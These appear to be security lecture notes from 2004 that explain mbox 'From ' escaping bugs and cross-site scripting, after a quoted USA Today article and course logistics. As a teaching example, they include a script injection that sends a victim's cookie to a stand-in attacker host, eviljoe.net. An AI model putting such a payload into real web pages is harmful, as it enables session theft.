Liz Szabo, USA Today, 2004.11.30:

“Radioactive medical procedures can set off alarms in a post-9/11 world

“Most seasoned travelers know that their watches and belt buckles can set off airport metal detectors.

“A new study also shows that patients who have certain medical procedures might themselves set off security sensors designed to find ‘dirty’ bombs or other radioactive weapons. . . .

“Patients injected with a material called FDG before having a PET scan stop emitting a detectable level of radiation within 24 hours. But patients undergoing

iodine therapy for thyroid conditions emit radiation for 95 days.

“Many doctors say they now provide patients with detailed explanations of their treatments, along with telephone and pager numbers, just in case patients are stopped by security. Chaitanya Divgi, a nuclear medicine specialist at New York’s Memorial Sloan-Kettering Cancer Center, says security officers have called about his patients 15 to 20 times since 2001.

“One elderly couple in a Winnebago were detained last year at a bridge at the Canadian border while trying to return to Michigan from a camping trip. The man recently had been treated with iodine-131

for his thyroid, says Michele Beauvais, director of nuclear pharmacy at William Beaumont Hospital in Royal Oaks, Mich., where the man was treated. The patient showed border guards a card explaining his treatment.

“ ‘The guards said, “Well, you can go, but we have to keep the Winnebago,” ’ Beauvais says. ‘It kept setting off the sensors.’ Guards eventually realized the suspicious signals were coming from the contents of the Winnebago’s toilet. ‘None of the people at the bridge wanted to empty it,’ Beauvais says, ‘so they eventually let him go.’ ”

Final exam is 08:00–10:00
on Thursday 2004.12.09.

Late homework policy:
submissions by 2004.12.10 12:00
will still be graded;
submissions after that
might be graded;
submissions after 2004.12.13 12:00
definitely won't be graded.

UNIX mbox files

Traditional UNIX format
for a file containing
many email messages:

```
From ...
Return-Path: <...>
Received: ...
Subject: ...

Text here.

From ...
Return-Path: <...>
...
```

Program reads mbox file.
How does it decide
where each message ends?

Answer: Each line beginning
with the five bytes `"From "`
is the start of a new message.

Program writing file
inserts the `"From "` line.
If message already has a line
starting with `"From "`,
program changes that line
by inserting `">"` at beginning.

Bug: Insertion isn't reversible!

If mbox file says

```
>From me
>From him
```

then message could have been

```
From me
From him
```

or

```
From me
>From him
```

or two other possibilities.

No way for reader to tell.

Fix: Also insert > in front of `">From "`, `">>From "`, `">>>From "`, etc.

If original message was

```
From me
>From him
```

then mbox file will contain

```
>From me
>>From him
```

which is reversible.

With this fix,
mbox file can be converted
perfectly into the original messages.

Much worse fix: Some programs
indicate message length
in some other way—e.g.,

```
From ... 2546 bytes
```

—and then copy message
without changing any lines.

Reversible in theory, but
most programs reading file
don't understand this format.

In this situation,
if attacker sends message
containing a `"From "` line,
message is split into two.

What's the harm of this split?

Before writing message to file,
computer adds source information:

```
Return-Path: <...>
Received: ...
```

Many anti-spam filters
rely on this information.

When attacker splits message,
he controls this information
for the second message,
sometimes dodging filter.

Mixed-source web pages

Browser makes TCP connection
to web server. Server sends HTML page:

```
<HTML>
<HEAD>
<TITLE>USATODAY.com -
Radioactive medical procedures
can set off alarms in a
post-9/11 world</TITLE>
...
<div class="intro-copy">Most
seasoned travelers know that
...
```

Browser deciphers page, displays text:

```
Most seasoned travelers
know that ...
```

Server can restrict access to pages:
"I won't give you that page
unless you give me a cookie!"

Where do cookies come from?
User creates account, maybe pays.
Server makes up a random cookie,
sends it to browser. (Hopefully
it's encrypted for transmission.)

On next connection to this server,
browser sends cookie to server.
Server inspects cookie,
recognizes that it's this user.

Server can also tell browser
to connect to another server,
sending this server's cookie:

```
<script>
document.location.replace
('http://mcpaper.com
/usatoday?cookie='
+document.cookie)
</script>
```

Browser trusts this server
to say what should be done
with this server's cookie.

Real example: `united.com`
shares secrets with `itn.net`.

Server may display pages
with postings from other users:

```
Welcome, Bill!
Here are today's postings.

From Eric
  Please upgrade sendmail
  to fix the latest
  buffer overflow.

From Joe
  Thanks.
```

Common bug: Server takes text
from Joe and simply inserts
the text into the web page.

Joe says to server:

```
Thanks.
```

Server says to victim's browser:

```
From Joe<br>
<blockquote>
Thanks.
</blockquote>
```

Impact of this bug:
Joe can steal victim's cookies,
through **cross-site scripting**.

Joe provides more text:

```
Thanks.<script>
document.location.replace
('http://eviljoe.net/x?y='
+document.cookie)</script>
```

Server passes text along:

```
From Joe<br>
<blockquote>
Thanks.<script>
document.location.replace
('http://eviljoe.net/x?y='
+document.cookie)</script>
</blockquote>
```

Browser sends the cookie
to `eviljoe.net`.

Fix: Transform Joe's text
to HTML in a way that
matches the transformation
from HTML to browser display.

e.g. if Joe's text has < then
HTML should have `<`
so browser displays <.

Many more problems like this:
inputs from untrusted sources
are merged into one byte string,
and then the byte string is parsed,
with a merge-parse mismatch.